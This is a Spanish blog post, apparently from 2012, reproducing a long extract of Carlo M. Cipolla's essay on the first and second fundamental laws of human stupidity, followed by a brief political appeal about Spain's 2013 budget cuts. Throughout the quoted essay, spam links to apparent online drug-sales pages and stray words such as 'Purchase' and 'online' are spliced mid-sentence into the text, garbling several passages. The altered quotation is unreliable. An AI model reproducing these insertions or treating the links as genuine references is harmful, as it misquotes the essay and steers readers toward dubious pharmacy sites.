    Pensad que antes de emigrar es más eficaz y menos doloroso  cambiar, no http://dev.thedblog.net/purchase-sumycin-indications/ pretender  innovar , sino copiar  irse de compras , como propone hacer este profesor

    http://www.youtube.com/watch?v=QDxgA8w0T_M&feature=related

    El historiador de la Economía Carlo M. Cipolla   escribió un famosísimo  pequeño ensayo titulado “Las leyes fundamentales de la estupidez humana”

    http://xa.yimg.com/kq/groups/9509988/171632646/name/cipolla%252Bcarlo.pdf

    La Primera Ley Fundamental de la estupidez humana

    “La Primera Ley Fundamental de la estupidez humana afirma sin ambigüedad que: Siempre e inevitablemente cada uno de nosotros subestima el número de individuos estúpidos que circulan por el mundo. A primera vista la afirmación puede parecer trivial, o más bien obvia, o poco generosa, o quizá las tres cosas a la vez. Sin embargo, un examen más atento revela de lleno la auténtica veracidad de esta afirmación. Considérese lo que sigue. Por muy alta que sea la estimación cuantitativa que uno haga de la estupidez humana, siempre quedan estúpidos, de un modo repetido y recurrente, debido a que:

    a) Personas que uno ha considerado racionales e inteligentes en el pasado se revelan después, de repente, inequívoca e irremediablemente estúpidas;

    1 Los autores del Antiguo Testamento eran conscientes de la existencia de la Primera Ley Fundamental, y la parafrasearon al afirmar que «stultorum infinitus est numerus», pero cometieron una exageración http://hepc.ronmetcalfe.com/index.php/2018/02/02/aravana-price/ poética. El número de personas estúpidas no puede ser infinito porque el número de personas vivas es finito.

    b) Día tras día, con una monotonía incesante, vemos cómo entorpecen y obstaculizan nuestra actividad individuos obstinadamente estúpidos, que aparecen de improviso e inesperadamente en los lugares y en los momentos menos oportunos. La Primera Ley Fundamental impide la atribución de un valor numérico a la fracción de personas estúpidas respecto del total de la población: cualquier estimación numérica resultaría ser una subestimación. Por ello en las páginas que siguen se designará la cuota de personas estúpidas en el seno de una población con el símbolo E.

    La Segunda Ley Fundamental de la estupidez humana

    Las tendencias culturales que prevalecen hoy en día en los países occidentales favorecen una visión igualitaria de la humanidad. Se prefiere pensar en el hombre como el producto de masa de una cadena de montaje perfectamente organizada. La genética y la sociología, sobre todo, se esfuerzan por probar, con una cantidad impresionante de datos científicos y formulaciones, que todos los hombres son iguales por naturaleza, y que si algunos son más iguales que otros, esto ha de ser atribuido a la educación y al ambiente social, y no a la Madre Naturaleza. Se trata de una opinión extendida que personalmente no comparto. Tengo la firme convicción, avalada por años de observación y experimentación, de que los hombres no son iguales, de que algunos son estúpidos y otros no lo son, y de que la diferencia no la determinan fuerzas o factores culturales sino los manejos biogenéticos de una inescrutable Madre Naturaleza. Uno es estúpido del mismo modo que otro tiene el cabello rubio; uno pertenece al grupo de los estúpidos como otro pertenece a un grupo sanguíneo. En definitiva, uno nace estúpido por designio inescrutable e irreprochable de la Divina Providencia. Aunque estoy convencido de que una fracción E de seres humanos es estúpida, y de que lo es por designio de la Providencia, no soy un reaccionario que pretende introducir de nuevo furtivamente discriminaciones de clase o de raza. Creo firmemente que la estupidez es una prerrogativa indiscriminada de todos y de cualquier grupo humano, y online que tal prerrogativa está uniformemente distribuida según una proporción constante. Este hecho está expresado científicamente en la Segunda Ley Fundamental, que dice que:

    La probabilidad de que una persona determinada sea estúpida es independiente de cualquier otra característica de la misma persona. A este propósito, la Naturaleza parece realmente haberse superado a sí misma. Es archisabido que la Naturaleza, de un modo más bien misterioso, actúa de tal manera que mantiene constante la frecuencia relativa de ciertos fenómenos naturales. Por ejemplo, tanto si los hombres se reproducen en el polo norte como en el ecuador, si las parejas que se unen son desarrolladas o subdesarrolladas, si son negras, rubias, blancas o amarillas, la proporción varón-mujer entre los recién nacidos es constante, con un ligero predominio de los varones. No sabemos de qué manera la Naturaleza obtiene este extraordinario resultado, pero sabemos que para obtenerlo debe operar con grandes números. El hecho extraordinario acerca de la frecuencia de la estupidez es que la Naturaleza consigue actuar de tal modo que esta frecuencia sea siempre y dondequiera igual a la probabilidad E independientemente de la dimensión del grupo, y que se dé el mismo porcentaje de personas estúpidas, tanto si se someten a examen grupos muy amplios como grupos reducidos. Ningún otro tipo de fenómenos objeto de observación ofrece una prueba tan singular del poder de la Naturaleza. La prueba de que la educación y el ambiente social no tienen nada que ver con la probabilidad Purchase E nos la han proporcionado una serie de experimentos llevados a cabo en muchas universidades del mundo. Por ejemplo, podemos clasificar la población de una universidad en cuatro grandes grupos:, bedeles, empleados, estudiantes y cuerpo docente.

    Cada vez que se analizó el grupo de bedeles se halló que una fracción E eran estúpidos. Teniendo en cuenta que el valor de E era más elevado de lo que se esperaba (Primera Ley), se juzgó, de entrada, pagando el tributo a las modas en curso, que era debido a la pobreza de las familias de las que generalmente proceden los bedeles, y también a su escasa instrucción. Pero al analizar los grupos más elevados se encontró que el mismo porcentaje dominaba también entre los empleados y los estudiantes. Más impresionantes todavía fueron los resultados obtenidos entre el cuerpo docente. Tanto si se analizaba una universidad grande como una pequeña, un instituto famoso o uno desconocido, se encontró que la misma fracción E de profesores estaba formada por estúpidos. Fue tal la sorpresa ante los resultados obtenidos que se resolvió extender las investigaciones a un grupo especialmente seleccionado, a una auténtica «elite», a los galardonados con el premio Nobel. El resultado confirmó los poderes supremos de la Naturaleza: una fracción E de los premios Nobel estaba constituida por estúpidos. Este resultado es difícil de aceptar y de digerir, pero existen demasiadas pruebas experimentales que confirman básicamente su validez. La Segunda Ley Fundamental es una ley de hierro, y no admite excepciones. El Movimiento para la Liberación de la Mujer apreciará en todo su valor la Segunda Ley, por cuanto esta ley demuestra que los individuos estúpidos son proporcionalmente tan numerosos entre los hombres como entre las mujeres. La población de los países del Tercer Mundo hallará consuelo en esta Segunda Ley, en la medida en que demuestra que los pueblos llamados «desarrollados» no son al fin y al cabo tan desarrollados. Guste o no guste esta Segunda Ley Fundamental, en cualquier caso sus aplicaciones son diabólicamente inevitables. Tanto si uno se dedica a frecuentar los círculos elegantes como si se refugia entre los cortadores de cabezas de la Purchase Polinesia, si se encierra en un monasterio o decide pasar el resto de su vida en compañía de mujeres hermosas y lujuriosas, persiste el hecho de que deberá siempre enfrentarse al mismo porcentaje de gente estúpida, porcentaje que (de acuerdo con la Primera Ley) superará, siempre las previsiones más pesimistas»

    Gracias por la lectura y difusión de este trabajo y no se fíen de nadie. Sean egoístas y exijan, ahora que los políticos les tienen miedo, que sean todos los españoles, ricos y pobres, deudores o hacedores, los que paguen  en las nuevas medidas de ajuste cuando el Gobierno tengan que revisar a la baja los recientemente aprobados  Presupuestos 2013.

    Manuel.portela@arrakis.es

    www.agendadeprensa.org

Calendario de artículos

noviembre 2012
L M X J V S D
 1234
567891011
12131415161718
19202122232425
2627282930  

Artículos anteriores